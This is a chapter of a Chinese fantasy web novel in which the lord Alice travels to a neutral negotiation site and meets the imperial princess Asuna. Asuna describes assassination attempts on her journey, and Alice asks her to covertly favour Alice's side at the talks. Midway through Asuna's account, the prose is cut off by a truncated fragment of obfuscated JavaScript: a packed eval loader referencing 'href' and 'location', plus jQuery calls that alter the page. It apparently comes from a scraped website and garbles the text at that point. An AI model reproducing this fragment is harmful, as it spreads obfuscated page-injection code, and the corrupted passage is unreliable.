别九九六 作品
240. 谈判前夕
爱丽丝身着一袭简约而不失威严的黑金色骑装，象征领主身份的披风随着晨风轻轻飘扬。
她骑乘着一匹黑色战马，身旁是同样骑着马的耶尔和马里，以及一队精锐亲卫，将作为本次约因郡前往与教会谈判的代表团，正井然有序地一路前行，直奔公学提议、各方同意的谈判地点——一处位于光明军驻扎线、约因郡以及林顿公学三者之间的空旷地带。
“领主大人，这次谈判，帝国会派谁前来？”马里骑在专门适配咱们厅长先生身高的矮脚马上问道，看起来比周围的人都矮了一截。
爱丽丝微微眯起眼睛，目光投向远方起伏的山峦——她和其余人一样，这一路都刻意避免将视线放在马里和他的马身上，以免自己笑出声来，伤害到厅长先生的自尊心。
“新帝是不可能纡尊降贵亲自前来的，正如教会不会由教皇亲自出马一样，但我猜无论是谁，来得都应该是一个足够有重量的人物，或许是兰蒂斯？但也有可能是别人。”她猜测道。
耶尔补充道：“没错，根据公学那边传来的消息，其他国家派出的使者也大多遵循这个潜规则——东部的晨曦王国派遣了王储安格斯，他手握王国骑士团的兵权，在国内向来强硬；北境的坎培斯王国则派来了公爵艾尔莎，她是贵族中难得拥有强劲魔法实力的人；南方位于索拉瓦恩沙漠边缘的萨尔迪亚联合王国代表则是他们第二大部落的酋长，以精明狡诈闻名。”
自觉是领主左右手的马里厅长一边听一边连连点头，顺便将这些人的情报记在心里，以便之后可以协助领主大人和他们打交道。
队伍便在几个人你一言我一语的交流中继续前行，而与此同时，来自各国的代表们也陆续启程，直至在约定的谈判地点聚齐。
……
当爱丽丝一行人抵达谈判地点时，远远便看到蒙德校长带着一群魔法师正漂浮于高空，咏唱着恢弘的咒文。在他们的魔力操控下，沉睡的山岩拔地而起，风系魔法将他们送上高空，土和金元素魔法令其凝聚成形，一座漂浮于高空的浮空岛迅速形成。
望着这惊人的一幕，马里厅长不由倒吸了一口凉气：“这是……要就地造一个谈判场所？”
“公学这次是大手笔啊，”爱丽丝轻笑着道，“蒙德校长果然不愿让谈判发生在任何一方的地盘上。”
随着魔法的持续，浮空岛的形态逐渐清晰，山石构筑的岛屿漂浮在云端，中央是一座由大理石构筑的简约殿堂，看起来肃重安静，非常适合作为谈判的场合。岛四周云雾缭绕，下方仅有一座被魔法加持的浮桥通往岛上。这样一来既保证了谈判期间不会有外界势力轻易介入，也象征着此次会议不属于任何势力的掌控之下。
爱丽丝抬眸凝视这座巍峨的浮空岛，嘴角微微扬起：“蒙德校长的想法确实不错。”
浮空岛虽然落成，但由于只是作为专门的谈判场所使用，所以各方势力派来的代表团还得在地面上找地方驻扎休息，等待第二天的会谈。
远远地，爱丽丝就看到了飘着帝国旗帜的营地，门口有穿着皇室制服的传令官进进出出。
爱丽丝勒住马儿，仔细观察了一阵子，突然扭头对众人道：“停一下，我们下马，先去拜访一下帝国派来的代表。”
耶尔自是毫不犹豫地跟上，马里则疑惑地问道：“领主大人，恕我愚钝，您为什么突然想主动去见帝国的人呀？”
爱丽丝轻笑了一声，目光中闪烁着狡黠的光芒：“因为我猜，帝国这次派来了一位有意思的人。”
她卖了个关子，马里虽然依旧没弄明白，但既然领主大人都这么说了，他也便好奇地跟了上去，想看看到底是何方神圣，竟然能让领主大人如此评价。
但耶尔却显得格外沉默，且沉默中还带着一股莫名的警惕——对于爱丽丝口中那个“有意思的人”，他心里已经隐约有了一点不太愉快的猜想。
而果然，当他们获得批准进入营地，见到那位帝国代表时，耶尔心里的预感立刻就变成了现实——
华丽的军帐内，美丽的帝国公主赫然坐在主位。
帐篷内弥漫着淡淡的香气，一张雕刻着精美纹路的长桌摆在中央，桌上已经备好了精致的茶具和点心。
桌后的三公主殿下正在摆弄地图，见爱丽丝三人进来，她抬起眼，勾起一个妩媚的笑意：“爱丽丝·巴列特——久仰。”
“公主殿下。”爱丽丝带着人优雅行礼，微笑道，“终于正式见到您了，您比魔镜里还要光彩照人。不过没想到帝国方竟然派出您亲自前来，这属实令我感到有些意外呢。”
“我原以为帝国会派一位更……保守的代表。”她意味深长地道，“比如，那位兰蒂斯大公爵。”
公主殿下收起地图，轻笑一声道：“那可是帝国重臣，我那位好皇兄最大的助力，他怎么舍得将大公派出来。”
“更何况，这可是个能正当让我离开帝都的难得机会呢。”她幽幽道。
爱丽丝闻言微微一挑眉，若有所指地道：“看来殿下这趟出行遇到了很多惊喜？”
“岂止是惊喜啊，”亚丝娜眼底掠过一丝冷意的嘲讽，“这一路上，我才真正体会到，皇室子嗣出远门究竟意味着什么。”
她轻叩着桌面，声音虽轻，却带着一丝深藏的怒意：“从我离开帝都的第一日开始，队伍的食物便出了问题——我们的随军厨师误食了某种慢性毒素，在两天后病倒，若非我谨慎，让人提前检查了食物成分，恐怕接下来中毒的就是整个护卫队，甚至是我。”
爱丽丝眉梢微挑，饶有兴趣地听着，没有插话。
“接着，在通过翡翠河时，原本与帝国交好的佣兵团‘赤焰之刃’突然袭击了我的车队，声称要劫掠帝国使团。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15139423|140012||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”亚丝娜轻哼一声，眸中冷意更甚，“我随行的骑士整整拼杀了一个小时，才勉强击退了他们。”
她抬眸看向爱丽丝，意味深长道：“可有趣的是，我后来查过，那些佣兵在出发前两天，刚刚收到了来自帝都的一笔巨额赞助。”
爱丽丝闻言，唇角微微上扬，眼中划过一丝了然：“看来皇帝陛下并不想让您顺利抵达谈判地点。”
“不止如此，”亚丝娜冷笑着继续道，“离开森林后，我的车队才刚进入山道，‘恰好’遇到了一场泥石流，埋葬了我一半的辎重车。”
“如果不是我的护卫长机警发现了不对，带着我提前换乘战马，恐怕此刻我的尸体就已经被埋在那片山谷里了。”
她语调平静，仿佛在讲述别人的故事，但眼底那一丝冷峻和警惕却昭示着她心中的怒火。
爱丽丝静静听完亚丝娜的叙述，轻笑着靠在椅背上，似是随意地问道：“殿下觉得，这些安排，真的是陛下的手笔吗？”
亚丝娜微微一顿，眯起眼睛：“你什么意思？”
“若只是单纯的皇权斗争，陛下要么将您直接困在帝都，要么派一个他更信任的代表，而不是‘让您出发’，然后一路制造意外。”爱丽丝缓缓道，语气不疾不徐，“更何况，泥石流？这种安排，未免太过拙劣了。”
亚丝娜沉思片刻，轻声道：“你是说，有人故意做得这么明显？”
“或者说——”爱丽丝敛起笑意，目光如刀般锋利，“还有别的势力，想借皇帝的手除掉您。”
空气一瞬间安静下来。
帐篷内的香气依旧在静谧地飘散，氤氲在空气中，将沉重的皇室斗争更蒙上了一层迷惑人心的气息。
亚丝娜垂眸，手指轻轻敲击桌面，思索片刻，忽然低笑了一声：“……有趣。”
笑罢，她眼中闪过一道锐利的暗光，将话题抛给了爱丽丝：“不过，你一来便急着主动来见我，不止是为了关心我这一路是怎么来的吧？”
爱丽丝微微一笑，眸中闪烁着狡黠的光芒：“公主殿下自然聪慧，想必已经猜到了几分——既然陛下并不希望您安然抵达谈判桌，那么您在这场博弈中的选择，便格外重要。”
亚丝娜闻言，轻轻抬起下巴，眼神审视：“你想让我做什么？”
“很简单。”爱丽丝的声音平稳，目光却锋锐如剑，“在谈判桌上，我们需要一位‘不那么忠于帝国’的帝国代表。”
亚丝娜沉默了一瞬，随即轻笑出声：“所以，你想让我在谈判中，暗中向你们倾斜？”
“殿下不是早已心存疑虑了吗？”爱丽丝轻声道，“否则，在经历了那一路的刺杀和埋伏之后，您今日不会这么冷静地坐在这里，而是早已向帝都发出求援信，或者干脆放弃谈判，转身回程。”
她微微前倾，语气平静却带着一丝挑衅：“您并不想这么做，不是吗？”